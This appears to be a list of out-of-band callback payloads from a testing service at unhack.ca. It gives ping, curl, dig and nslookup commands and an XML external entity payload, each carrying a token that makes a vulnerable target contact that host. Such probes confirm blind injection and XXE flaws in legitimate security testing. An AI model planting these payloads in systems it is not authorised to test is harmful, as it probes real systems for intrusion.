$ ping -c1 -p 00f48ec2f089441549e642ccaa612600 unhack.ca
 

$ curl http://unhack.ca/p/f48ec2f089441549e642ccaa6126
 

$ dig f48ec2f089441549e642ccaa6126 @unhack.ca
 

$ dig f48ec2f089441549e642ccaa6126.ns.unhack.ca
 

C:\> nslookup f48ec2f089441549e642ccaa6126 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f48ec2f089441549e642ccaa6126">]>
    <foo>&xxe;</foo>